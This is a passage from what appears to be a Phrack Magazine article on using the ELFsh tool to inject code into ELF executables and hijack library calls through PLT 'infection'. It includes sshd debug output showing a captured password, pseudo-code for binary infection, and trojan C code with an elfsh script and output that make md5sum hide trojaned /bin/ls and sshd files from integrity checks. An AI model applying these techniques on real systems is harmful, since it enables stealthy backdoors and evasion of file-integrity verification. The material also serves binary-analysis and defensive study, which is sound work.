debug1: bits set: 1597/3191
debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT
debug1: bits set: 1613/3191
debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent
debug1: kex_derive_keys
debug1: newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: waiting for SSH2_MSG_NEWKEYS
debug1: newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: KEX done
debug1: userauth-request for user mayhem service ssh-connection method \
debug1: attempt 0 failures 0
Failed none for mayhem from port 40619 ssh2
debug1: userauth-request for user mayhem service ssh-connection method \
debug1: attempt 1 failures 1
debug1: test whether pkalg/pkblob are acceptable
debug1: temporarily_use_uid: 1000/31337 (e=0)
debug1: trying public key file /home/mayhem/.ssh/authorized_keys
debug1: matching key found: file /home/mayhem/.ssh/authorized_keys, line 1
debug1: restore_uid
Postponed publickey for mayhem from port 40619 ssh2
debug1: userauth-request for user mayhem service ssh-connection method \
debug1: attempt 2 failures 1
debug1: keyboard-interactive devs 
debug1: auth2_challenge: user=mayhem devs=
debug1: kbdint_alloc: devices ''
Failed keyboard-interactive for mayhem from port 40619 ssh2
debug1: userauth-request for user mayhem service ssh-connection method \
debug1: attempt 3 failures 2
.:: crypt redirected -key- = mytestpasswd (42 .::. 2) 

	Fine. If you want extreme details on the implementation, please
	read the ELFsh code, particulary libelfsh/relinject.c. For the
	academic audience, the pseudo-code algorithms are provided.
	Because ET_REL injection is based on BSS and Symbol table fusion, 
	section pre-interp injection, section post-bss injection, 
	SHT shifting, SHT entry insertion, symbol injection, and section
	data injection, all those algorithms are also available. The BSS
	physical insertion is performed only once, at the first use of
	post-bss injection. The general algorithm for ET_REL injection is
	as follow:

 1/ Fuse ET_REL and ET_EXEC .bss sections
 2/ Find and inject ET_REL allocatable sections into ET_EXEC
 3/ Synchronize ET_EXEC symbol table (inject missing ET_REL symbols)
 4/ Relocate each injected section if its .rel(a) table is available

	Now let's give some details ;)

--------[ .:: MAIN ALGORITHM : ET_REL injection into ET_EXEC ::.

       1/ Insert ET_REL object .bss into ET_EXEC (see BSS fusion algo)

       2/ FOREACH section in ET_REL object
	     IF section is a/ allocatable (sh_flags & SHF_ALLOC)
			   b/ non-null sized (sh_size != 0)
			   c/ data-typed (sh_type == SHT_PROGBITS)

		IF section is writable -or- OS is FreeBSD
		  - Inject post-bss section into ET_EXEC
		  - Inject pre-interp section into ET_EXEC

       3/ Insert ET_REL .symtab into ET_EXEC (symtab fusion algorithm)

       4/ FOREACH section in ET_REL object
	  IF a/ section has been injected in 2. (same conditions)
	     b/ section needs relocation (.rel.sctname is found in ET_REL)
	      - Relocate the section

--------[ BSS fusion algorithm

       - Insert ET_EXEC BSS physically if not already done (see next algo)
       FOREACH symbol from the ET_REL object
	  IF symbol points into the BSS (st_shndx & SHN_COMMON)
	     WHILE ET_EXEC .bss size is not aligned (sh_size % st_value)
	       - Increment by 1 the .bss size field (sh_size)
	     - Insert symbol w/ st_value = .bss sh_addr + .bss sh_size
	     - Add symbol size to ET_EXEC .bss size (sh_size)

---------[ BSS physical insertion algorithm 

		IF a/ segment is loadable (p_type == PT_LOAD) 
		   b/ segment is writable (p_flags & PF_W)
		  - Put p_memsz value into p_filesz
		  - End of algorithm

--------[ Symbol Tables fusion algorithm

       FOREACH symbol in ET_REL object
          IF Symbol type is function (STT_FUNC) or variable (STT_OBJECT)
	     - Get parent section for this symbol using st_shndx field
	     IF Parent section has been injected in 2. (same conditions)
	        - Add section's base address to the symbol value
		- Inject new symbol into ET_EXEC

--------[ Section pre-interp injection algorithm

	- Compute section size congruent with page size
	- Create new section's header
	- Inject section header (see SHT header insertion algorithm)
	   IF a/ segment type is loadable (p_type == PT_LOAD)
	      b/ segment is executable (p_flags & PF_X)
	      - Add section's size to p_filesz and p_memsz
	      - Substract section's size from p_vaddr and p_paddr
	   ELSE IF segment type is PT_PHDR
              - Substract section's size from p_vaddr and p_paddr
	      - Add section's size to p_offset
       - Shift SHT (see algorithm below)

---------[ Section post-bss injection algorithm

	- Create new section's header 
	- Inject section header (see SHT header insertion algorithm)
	   IF a/ segment is loadable (p_type == PT_LOAD)
	      b/ segment is writable (p_flags & PF_W)
	      - Add section's size to p_memsz and p_filesz
	      - End of algorithm
	- Shift SHT by the section size (see next algorithm)

---------[ SHT shifting algorithm

	   IF current linked section (sh_link) points after new section
	      - Increment by 1 the sh_link field
	   IF current file offset > injected section file offset
	      - Add injected section sh_size to current sh_offset

---------[ SHT header insertion algorithm

	- Insert new section's name into .shstrtab
	- Insert new entry in SHT at requested range
	- Increment by 1 the e_shnum field in ELF header
	   IF current entry file offset is after SHT file offset
	      - Add e_shentsize from ELF header to current sh_offset
	IF injected section header sh_offset <= SHT file offset
	  - Add new section size (sh_size) to e_shoff field in ELF header
	IF requested new section range <= section string table index
	   - Increment sh_strndx field in ELF header

---------[ Symbol injection algorithm

	- Insert symbol name into .strtab section
	- Insert symbol entry into .symtab section

---------[ Section data injection algorithm (apply to all type of section)

	- Insert data into section
	- Add injected data size to section's sh_size
	IF SHT file offset > section file offset
	  - Add injected data size to e_shoff in ELF header
	   IF current entry sh_offset field > extended section file offset
	      IF current entry sh_addr field is non-null
	         - Add injected data size to sh_addr
	      - Add injected data size to sh_offset
	IF extended section sh_addr is non-null
	   FOREACH symbol table entry
	      IF symbol points after extended section former upper bound
		 - Add injected data size to st_value field

     The relocation (step 4) algorithm wont be detailed, because it is
     already all explained in the ELF reference. In short, the relocation 
     process consists in updating all the addresses references in the 
     injected ET_REL code, using the available merged symbol tables in 
     the ET_EXEC file. There are 12 relocation types on INTEL and 56 
     relocations types on SPARC, however, only 2 types are mostly used on
     INTEL, and only 3 on SPARC for ET_REL objects.

     This last stage is a switch/case based algorithm, which has in
     charge to update some bytes, many times, in each injected mapped
     section. The relocation tables contains all the information necessary
     for this operation, their name is .rel.<target> (or .rela.<target> on
     SPARC), with <target> beeing the section which is going to be 
     relocated using this table). Those sections can be easily found just
     parsing the SHT and looking for sections whoose st_type is SHT_REL 
     (or SHT_RELA on SPARC).

     What makes the ELFsh relocation engine powerful, is the using of both
     symbol table (.symtab and .dynsym), which means that the injected 
     code can resolve symbols from the executable itself, e.g. it is 
     possible to call the core functions of the executable, as well 
     as existing .plt entries from the backdoor code, if their symbol 
     value is available. For more details about the relocation step, 
     please look at the ELFsh code in libelfsh/relinject.c, particulary 
     at the elfsh_relocate_i386 and and elfsh_relocate_sparc.

     As suggested in the previous paragraph, ELFsh has a limitation since
     it is not possible to call functions not already present in the 
     binary. If we want to call such functions, we would have to add 
     information for the dynamic linker, so that the function address can
     be resolved in runtime using the standard GOT/PLT mechanism. It 
     would requires .got, .plt, .rel.plt, .dynsym, .dynstr, and .hash
     extensions, which is not trivial when we dont want to move the 
     binary data and code zones from their original addresses. 

     Since relocation information is not available for ET_EXEC ELF 
     objects, we woulnt be sure that our reconstructed relocation 
     information would be 100% exact, without having a very strong and 
     powerful dataflow analysis engine. This was proved by modremap 
     (modules/modremap.c) written by spacewalkr, which is a 
     SHT/PHT/symtab shifter. Coupled to the ELFsh relocation finder 
     (vm/findrel.c), this module can remap a ET_EXEC binary in another 
     place of the address space. This is known to work for /bin/ls and 
     various /bin/* but bigger binaries like ssh/sshd cannot be relocated
     using this technique, because valid pointers double words are not
     always real pointers in such bins (false positives happen in hash

     For this reason, we dont want to move ET_EXEC section's from their
     original place. Instead, it is probably possible to add extra 
     sections and use big offsets from the absolute addresses stored
     into .dynamic, but this feature is not yet provided. A careful 
     choice of external functions hijacking is usually enough to get rid
     of the non-present symbol problem, even if this 'extra-function 
     resolving' feature will probably be implemented in the future. For
     some sections like .hash, it may be necessary to do a copy of the
     original section after .bss and change the referenced address in
     the .dynamic section, so that we can extend the hash without moving
     any original code or data.

-------[ 4. Infection : ALTPLT technique

     Now that we have a decent residency technique in ET_REL injection,
     let's focus on a new better infection technique than GOT redirection
     and PLT infection : the ALTPLT technique. This new technique takes
     advantage of the symbol based function address resolving of the
     previous technique, as detailed below.

     ALTPLT is an improvement of PLT infection technique. Silvio Cesare
     describes how to modify the .plt section, in order to redirect
     function calls to library onto another code, so called the hook
     code. From [4], the algorithm of original .plt infection:


     '' The algorithm at the entry point code is as follows...

     * mark the text segment writable
     * save the PLT(GOT) entry
     * replace the PLT(GOT) entry with the address of the new libcall

     The algorithm in the new library call is as follows...

     * do the payload of the new libcall
     * restore the original PLT(GOT) entry
     * call the libcall
     * save the PLT(GOT) entry again (if it is changed)
     * replace the PLT(GOT) entry with the address of the new libcall ''


     The implementation of such an algorithm was presented in x86
     assembly language using segment padding residency. This technique
     is not enough because:

	 1/ It is architecture dependant
	 2/ Strict segments rights may not be kept consistant (PaX unsafe)
	 3/ The general layout of the technique lacks a formal interface
     The new ALTPLT technique consists of copying the Procedure Linkage
     Table (.plt) to an alternative section, called .orig.plt, using a 
     pre-interp injection, so that it resides in the read-only code
     segment. For each entry of the .orig.plt, we create and inject a
     new reference symbol, which name the same as the .plt entry symbol
     at the same index, except that it starts by 'old_'.

     Using this layout, we are able to perform standard PLT infection on
     the original .plt section, but instead of having a complex
     architecture dependant hook code, we use an injected function
     residing in hook.o.text, which is the text section of an ET_REL
     module that was injected using the technique described in the	
     previous part of the paper. 

     This way, we can still call the original function using
     old_funcname(), since the injected symbol will be available for
     the relocation engine, as described in the ET_REL injection
     algorithm ;).

     We keep the GOT/PLT mechanism intact and we rely on it to provide
     a normal function address resolution, like in every dynamic
     executable files. The .got section will now be unique for both .plt 
     and .orig.plt sections. The added section .orig.plt is a strict copy
     of the original .plt, and will not ever be overwritten. In other
     words, .orig.plt is PaX safe. The only difference will be that 
     original .plt entries may not use .got, but might be redirected on
     another routine using a direct branchement instruction.

     Let's look at an example where the puts() function is hijacked, and
     the puts_troj() function is called instead.

     On INTEL:

 -----BEGIN EXAMPLE 13-----
 old_puts + 0   jmp  *<_GLOBAL_OFFSET_TABLE_ + 20>      FF 25 00 97 04 08 
 old_puts + 6   push          $10                       68 10 00 00 00 
 old_puts + 11  jmp           <old_dlresolve>           E9 C0 FF FF FF 

 puts + 0       jmp           <puts_troj>               E9 47 ED FF FF 
 puts + 5       or            %ch,10(%eax)              08 68 10 
 puts + 8       add           %al,(%eax)                00 00 
 puts + 10      add           %ch,%cl                   00 E9 
 puts + 12      sar           $FF,%bh                   C0 FF FF 
 puts + 15      (bad)         %edi                      FF FF 
 -----END EXAMPLE 13-----

     On SPARC:

 -----BEGIN EXAMPLE 14-----
 old_puts + 0   sethi  %hi(0xf000), %g1			03 00 00 3c     
 old_puts + 4   b,a   e0f4 <func2+0x1e0c>		30 bf ff f0     
 old_puts + 8   nop					01 00 00 00     

 puts + 0	jmp  %g1 + 0xf4 ! <puts_troj>		81 c0 60 f4     
 puts + 4	nop					01 00 00 00     
 puts + 8	sethi  %hi(0x12000), %g1		03 00 00 48     
 -----END EXAMPLE 14-----

    This is the only architecture dependant operation in the ALTPLT 
    algorithm. It means that this feature can be implemented very easily
    for other processors as well. However, on SPARC there is one more
    modification to do on the first entry of the .orig.plt section.
    Indeed, the SPARC architecture does not use a Global Offset Table 
    (.got) for function address resolving, instead the .plt section is 
    directly modified at dynamic linking time. Except for this
    difference, the SPARC .plt works just the same as INTEL .plt (both 
    are using the first .plt entry each time, as explained in the ELF 

    For this reason, we have to modify the first .orig.plt entry to make
    it point on the first .plt entry (which is patched in runtime before 
    the main() function takes control). In order to patch it, we need to
    use a register other than %g1 (since this one is used by the dynamic 
    linker to identify the .plt entry which has to be patched), for 
    example %g2 (elfsh_hijack_plt_sparc_g2 in libelfsh/hijack.c).

    Patched first .orig.plt entry on SPARC:

 -----BEGIN EXAMPLE 15-----
 .orig.plt	 sethi  %hi(0x20400), %g2		05 00 00 81
 .orig.plt	 jmp    %g2 + 0x2a8  ! <.plt>		81 c0 a2 a8
 .orig.plt	 nop					01 00 00 00
 -----END EXAMPLE 15-----

    The reason for NOP instructions after the branching instruction
    (jmp) is because of SPARC delay slot. In short, SPARC branchement
    is done in such way that it changes the NPC register (New Program
    Counter) and not the PC register, and the instruction after a
    branching one is executed before the real branchement. 

    Let's use a new example which combines ET_REL injection and ALTPLT
    infection this time (instead of GOT redirection, like in the previous
    sshd example). We will modify md5sum so that access to /bin/ls and
    /usr/sbin/sshd is redirected. In that case, we need to hijack the
    fopen64() function used by md5sum, swap the real path with the
    backup path if necessary, and call the original fopen64 as if
    nothing had happened:

 -----BEGIN EXAMPLE 16-----
 $ cat md16.esh
 load /usr/bin/md5sum
 load test.o
 # Add test.o into md5sum
 reladd 1 2

 # Redirect fopen64 to fopen64_troj (in test.o) using ALTPLT technique
 redir fopen64 fopen64_troj

 save md5sum.new
 $ chmod +x md16.esh
 -----END EXAMPLE 16-----

	  Let's look at the injected code. Because the strcmp() libc
	  function is not used by md5sum and therefore its symbol is not
	  available in the binary, we have to copy it in the module

 -----BEGIN EXAMPLE 17-----
 $ cat test.c
 #include <stdlib.h>

 #define HIDDEN_DIR      "/path/to/hidden/dir"
 #define LS              "/bin/ls"
 #define SSHD            "/usr/sbin/sshd"
 #define LS_BAQ          "ls.baq"
 #define SSHD_BAQ        "sshd.baq"

 int     mystrcmp(char *str1, char *str2)
   u_int cnt;

   for (cnt = 0; str1[cnt] && str2[cnt]; cnt++)
     if (str1[cnt] != str2[cnt])
       return (str1[cnt] - str2[cnt]);
   return (str1[cnt] - str2[cnt]);

 int     fopen64_troj(char *str1, char *str2)
   if (!mystrcmp(str1, LS))
     str1 = HIDDEN_DIR "/" LS_BAQ;
   else if (!mystrcmp(str1, SSHD))
     str1 = HIDDEN_DIR "/" SSHD_BAQ;
   return (old_fopen64(str1, str2));
 $ gcc test.c -c 
 -----END EXAMPLE 17-----

	  For this last example, the full relinking information
	  will be printed on stdout, so that the reader can enjoy
	  all the details of the implementation:

 -----BEGIN EXAMPLE 18-----

  Welcome to The ELF shell 0.5b9 .::.

  .::. This software is under the General Public License
  .::. Please visit http://www.gnu.org to know about Free Software

~load /usr/bin/md5sum
 [*] New object /usr/bin/md5sum loaded on Sat Aug  2 16:16:32 2003

~exec cc test.c -c
 [*] Command executed successfully

~load test.o
 [*] New object test.o loaded on Sat Aug  2 16:16:32 2003

~reladd 1 2
[DEBUG_RELADD] Found BSS zone lenght [00000000] for module [test.o]
[DEBUG_RELADD] Inserted STT_SECT symbol test.o.text       [080470F4]
[DEBUG_RELADD] Inserted STT_SECT symbol test.o.rodata     [080460F4]
[DEBUG_RELADD] Inserted STT_SECT symbol .orig.plt         [080450F4]
[DEBUG_RELADD] Injected symbol old_dlresolve              [080450F4]
[DEBUG_RELADD] Injected symbol old_ferror                 [08045104]
[DEBUG_COPYPLT] Symbol at .plt + 16 injected succesfully
[DEBUG_RELADD] Injected symbol old_strchr                 [08045114]
[DEBUG_COPYPLT] Symbol at .plt + 32 injected succesfully
[DEBUG_RELADD] Injected symbol old_feof                   [08045124]
[DEBUG_COPYPLT] Symbol at .plt + 48 injected succesfully
[DEBUG_RELADD] Injected symbol old___register_frame_info  [08045134]
[DEBUG_COPYPLT] Symbol at .plt + 64 injected succesfully
[DEBUG_RELADD] Injected symbol old___getdelim             [08045144]
[DEBUG_COPYPLT] Symbol at .plt + 80 injected succesfully
[DEBUG_RELADD] Injected symbol old_fprintf                [08045154]
[DEBUG_COPYPLT] Symbol at .plt + 96 injected succesfully
[DEBUG_RELADD] Injected symbol old_fflush                 [08045164]
[DEBUG_COPYPLT] Symbol at .plt + 112 injected succesfully
[DEBUG_RELADD] Injected symbol old_dcgettext              [08045174]
[DEBUG_COPYPLT] Symbol at .plt + 128 injected succesfully
[DEBUG_RELADD] Injected symbol old_setlocale              [08045184]
[DEBUG_COPYPLT] Symbol at .plt + 144 injected succesfully
[DEBUG_RELADD] Injected symbol old___errno_location       [08045194]
[DEBUG_COPYPLT] Symbol at .plt + 160 injected succesfully
[DEBUG_RELADD] Injected symbol old_puts                   [080451A4]
[DEBUG_COPYPLT] Symbol at .plt + 176 injected succesfully
[DEBUG_RELADD] Injected symbol old_malloc                 [080451B4]
[DEBUG_COPYPLT] Symbol at .plt + 192 injected succesfully
[DEBUG_RELADD] Injected symbol old_fread                  [080451C4]
[DEBUG_COPYPLT] Symbol at .plt + 208 injected succesfully
[DEBUG_RELADD] Injected symbol old___deregister_frame_info [080451D4]
[DEBUG_COPYPLT] Symbol at .plt + 224 injected succesfully
[DEBUG_RELADD] Injected symbol old_bindtextdomain         [080451E4]
[DEBUG_COPYPLT] Symbol at .plt + 240 injected succesfully
[DEBUG_RELADD] Injected symbol old_fputs                  [080451F4]
[DEBUG_COPYPLT] Symbol at .plt + 256 injected succesfully
[DEBUG_RELADD] Injected symbol old___libc_start_main      [08045204]
[DEBUG_COPYPLT] Symbol at .plt + 272 injected succesfully
[DEBUG_RELADD] Injected symbol old_realloc                [08045214]
[DEBUG_COPYPLT] Symbol at .plt + 288 injected succesfully
[DEBUG_RELADD] Injected symbol old_textdomain             [08045224]
[DEBUG_COPYPLT] Symbol at .plt + 304 injected succesfully
[DEBUG_RELADD] Injected symbol old_printf                 [08045234]
[DEBUG_COPYPLT] Symbol at .plt + 320 injected succesfully
[DEBUG_RELADD] Injected symbol old_memcpy                 [08045244]
[DEBUG_COPYPLT] Symbol at .plt + 336 injected succesfully
[DEBUG_RELADD] Injected symbol old_fclose                 [08045254]
[DEBUG_COPYPLT] Symbol at .plt + 352 injected succesfully
[DEBUG_RELADD] Injected symbol old_getopt_long            [08045264]
[DEBUG_COPYPLT] Symbol at .plt + 368 injected succesfully
[DEBUG_RELADD] Injected symbol old_fopen64                [08045274]
[DEBUG_COPYPLT] Symbol at .plt + 384 injected succesfully
[DEBUG_RELADD] Injected symbol old_exit                   [08045284]
[DEBUG_COPYPLT] Symbol at .plt + 400 injected succesfully
[DEBUG_RELADD] Injected symbol old_calloc                 [08045294]
[DEBUG_COPYPLT] Symbol at .plt + 416 injected succesfully
[DEBUG_RELADD] Injected symbol old__IO_putc               [080452A4]
[DEBUG_COPYPLT] Symbol at .plt + 432 injected succesfully
[DEBUG_RELADD] Injected symbol old_free                   [080452B4]
[DEBUG_COPYPLT] Symbol at .plt + 448 injected succesfully
[DEBUG_RELADD] Injected symbol old_error                  [080452C4]
[DEBUG_COPYPLT] Symbol at .plt + 464 injected succesfully
[DEBUG_RELADD] Entering intermediate symbol injection loop
[DEBUG_RELADD] Injected ET_REL symbol mystrcmp            [080470F4]
[DEBUG_RELADD] Injected symbol mystrcmp                   [080470F4]
[DEBUG_RELADD] Injected ET_REL symbol fopen64_troj        [08047188]
[DEBUG_RELADD] Injected symbol fopen64_troj               [08047188]
[DEBUG_RELADD] Entering final relocation loop
[DEBUG_RELADD] Relocate using section test.o.rodata  base [-> 080460F4]
[DEBUG_RELADD] Relocate using section test.o.text    base [-> 080470F4]
[DEBUG_RELADD] Relocate using section test.o.rodata  base [-> 080460FC]
[DEBUG_RELADD] Relocate using section test.o.rodata  base [-> 08046117]
[DEBUG_RELADD] Relocate using section test.o.text    base [-> 080470F4]
[DEBUG_RELADD] Relocate using section test.o.rodata  base [-> 08046126]
[DEBUG_RELADD] Relocate using existing symbol old_fopen64 [08045274]
 [*] ET_REL test.o injected succesfully in ET_EXEC /usr/bin/md5sum

~redir fopen64 fopen64_troj
 [*] Function fopen64 redirected to addr 0x08047188 <fopen64_troj>

~save md5sum.new
 [*] Object md5sum.new save successfully

 [*] Unloading object 1 (test.o)
 [*] Unloading object 2 (/usr/bin/md5sum) *

         Good bye ! .::. The ELF shell 0.5b9
 -----END EXAMPLE 18-----

	  As shown in the script output, the new file has got new
	  symbols (the old symbols). Let's observe them using the
	  elfsh '-sym' command and the regex capability ('old') :

 -----BEGIN EXAMPLE 19-----
 $ elfsh -q -f md5sum.new -sym old
 [Object md5sum.new]

 [27] 0x80450f4  FUNC old_dlresolve                sz:16 scop:Local 
 [28] 0x8045104  FUNC old_ferror                   sz:16 scop:Local 
 [29] 0x8045114  FUNC old_strchr                   sz:16 scop:Local 
 [30] 0x8045124  FUNC old_feof                     sz:16 scop:Local 
 [31] 0x8045134  FUNC old___register_frame_info    sz:16 scop:Local 
 [32] 0x8045144  FUNC old___getdelim               sz:16 scop:Local 
 [33] 0x8045154  FUNC old_fprintf                  sz:16 scop:Local 
 [34] 0x8045164  FUNC old_fflush                   sz:16 scop:Local 
 [35] 0x8045174  FUNC old_dcgettext                sz:16 scop:Local 
 [36] 0x8045184  FUNC old_setlocale                sz:16 scop:Local 
 [37] 0x8045194  FUNC old___errno_location         sz:16 scop:Local 
 [38] 0x80451a4  FUNC old_puts                     sz:16 scop:Local 
 [39] 0x80451b4  FUNC old_malloc                   sz:16 scop:Local 
 [40] 0x80451c4  FUNC old_fread                    sz:16 scop:Local 
 [41] 0x80451d4  FUNC old___deregister_frame_info  sz:16 scop:Local 
 [42] 0x80451e4  FUNC old_bindtextdomain           sz:16 scop:Local 
 [43] 0x80451f4  FUNC old_fputs                    sz:16 scop:Local 
 [44] 0x8045204  FUNC old___libc_start_main        sz:16 scop:Local 
 [45] 0x8045214  FUNC old_realloc                  sz:16 scop:Local 
 [46] 0x8045224  FUNC old_textdomain               sz:16 scop:Local 
 [47] 0x8045234  FUNC old_printf                   sz:16 scop:Local 
 [48] 0x8045244  FUNC old_memcpy                   sz:16 scop:Local 
 [49] 0x8045254  FUNC old_fclose                   sz:16 scop:Local 
 [50] 0x8045264  FUNC old_getopt_long              sz:16 scop:Local 
 [51] 0x8045274  FUNC old_fopen64                  sz:16 scop:Local 
 [52] 0x8045284  FUNC old_exit                     sz:16 scop:Local 
 [53] 0x8045294  FUNC old_calloc                   sz:16 scop:Local 
 [54] 0x80452a4  FUNC old__IO_putc                 sz:16 scop:Local 
 [55] 0x80452b4  FUNC old_free                     sz:16 scop:Local 
 [56] 0x80452c4  FUNC old_error                    sz:16 scop:Local 
 -----END EXAMPLE 19-----

	  It sounds good ! Does it work now?


   $ md5sum /bin/bash
   ebe1f822a4d026c366c8b6294d828c87  /bin/bash
   $ ./md5sum.new /bin/bash
   ebe1f822a4d026c366c8b6294d828c87  /bin/bash

   $ md5sum /bin/ls 
   3b622e661f6f5c79376c73223ebd7f4d  /bin/ls
   $ ./md5sum.new /bin/ls 
   ./md5sum.new: /bin/ls: No such file or directory

   $ md5sum /usr/sbin/sshd 
   720784b7c1e5f3418710c7c5ebb0286c  /usr/sbin/sshd
   $ ./md5sum.new /usr/sbin/sshd 
   ./md5sum.new: /usr/sbin/sshd: No such file or directory

   $ ./md5sum.new ./md5sum.new   
   b52b87802b7571c1ebbb10657cedb1f6  ./md5sum.new
   $ ./md5sum.new /usr/bin/md5sum 
   8beca981a42308c680e9669166068176  /usr/bin/md5sum

   Heheh. It work so well that even if you forget to put the original
   copy in your hidden directory, md5sum prints the original path and
   not your hidden directory path ;). This is because we only change a
   local pointer in the fopen64_troj() function, and the caller function
   is not aware of the modification, so the caller error message is
   proceeded with the original path.
   Let's give the detailed algorithm for the ALTPLT technique. It must
   be used as a '2 bis' step in the main ET_REL injection algorithm
   given in the previous chapter, so that injected code can use any
   old_* symbols:

    - Create new section header with same size, type, rights as .plt
    - Insert new section header
    IF current OS == FreeBSD
       - Inject section using post-bss technique.
       - Inject section using pre-interp technique.
    FOREACH .plt entry (while counter < sh_size)
      IF counter == 0 AND current architecture is SPARC
        - Infect current entry using %g2 register.
      - Inject new 'old_<name>' symbol pointing on current entry 
        (= sh_addr + cnt)
      - Add PLT entry size in bytes (SPARC: 12, INTEL: 16) to cnt 

    This algorithm is executed once and only once per ET_EXEC file. The
    'redir' command actually performs the PLT infection on demand. A
    future (better) version of this command would allow core binary
    function hijacking. Since the code segment is read-only in userland,
    we cant modify the first bytes of the function at runtime and perform
    some awful bytes restoration [13] [14] for calling back the original
    function. The best solution is probably to build full control flow 
    graphs for the target architecture, and redirect all calls to a given 
    block (e.g. the first block of the hijacked function), making all 
    these calls point to the hook function, as suggested in [15] . ELFsh 
    provides INTEL control flow graphs (see modflow/modgraph), so does 
    objobf [16], but the feature is not yet available for other
    architectures, and some specific indirect branchement instructions
    are not easily predictable [17] using static analysis only, so it
    remains in the TODO.

-------[ 5. The end ?

    This is the end, beautiful friend. This is the end, my only friend,
    the end... Of course, there is a lot of place for improvements and new
    features in this area. More target architectures are planed (pa-risc,
    alpha, ppc?), as well as more ELF objects support (version tables,
    ELF64) and extension for the script langage with simple data and
    control flow support. The ELF development is made easy using the
    libelfsh API and the script engine. Users are invited to improve the
    framework and all comments are really welcomed.

-------[ 6. Greets

    Greets go to #!dh and #dnerds peoples, you know who you are. Special
    thanks to duncan @ mygale and zorgon for beeing cool-asses and giving
    precious feedback. 

    Other thanks, in random order : Silvio Cesare for his great work on
    the first generation ELF techniques (I definitely learnt a lot from
    you), all the ELFsh betatesters & contributors (y0 kil3r and thegrugq)
    who greatly helped to provide reliable and portable software, pipash for
    finding all the 76 char lenght lines of the article (your feedback
    r00lz as usual ;) , grsecurity.net (STBWH) for providing a useful
    sparc/linux account, and Shaun Clowes for giving good hints. 

    Last minut big thanks to the M1ck3y M0us3 H4ck1ng Squ4dr0n and all the
    peoples at Chaos Communication Camp 2003 (hi Bulba ;) for the great
    time I had with them during those days, you guyz rock.

-------[ 7. References

  [1] The ELF shell project				The ELF shell crew
  MAIN   : elfsh.devhell.org
  MIRROR : elfsh.segfault.net

  [2] PaX project					The PaX team

  [3] ELF TIS reference	          
  www.sparc.com/standards/psABI3rd.pdf (SPARC supplement)

  [4] UNIX ELF parasites and virus			silvio

  [5] Shared library redirection by ELF PLT infection	silvio

  [6] Understanding ELF rtld internals			mayhem

  [7] More ELF buggery (bugtraq post)			thegrugq

  [8] Runtime process infection				anonymous

  [9] Subversive ELF dynamic linking			thegrugq

  [10] Static kernel patching				jbtzhm
  [11] Run-time kernel patching				silvio

  [12] Bypassing stackguard and stackshield		bulba/kil3r

  [13] Kernel function hijacking			silvio

  [14] IA32 advanced function hooking			mayhem

  [15] Unbodyguard (solaris kernel function hijacking)	noir

  [16] The object code obfuscator tool of burneye2	scut

  [17] Secure Execution Via Program Shepherding		Vladimir Kiriansky
  www.cag.lcs.mit.edu/dynamorio/security-usenix.pdf	Derek Bruening
						 	Saman Amarasinghe

|=[ EOF ]=---------------------------------------------------------------=|

[ News ] [ Paper Feed ] [ Issues ] [ Authors ] [ Archives ] [ Contact ]
© Copyleft 1985-2021, Phrack Magazine.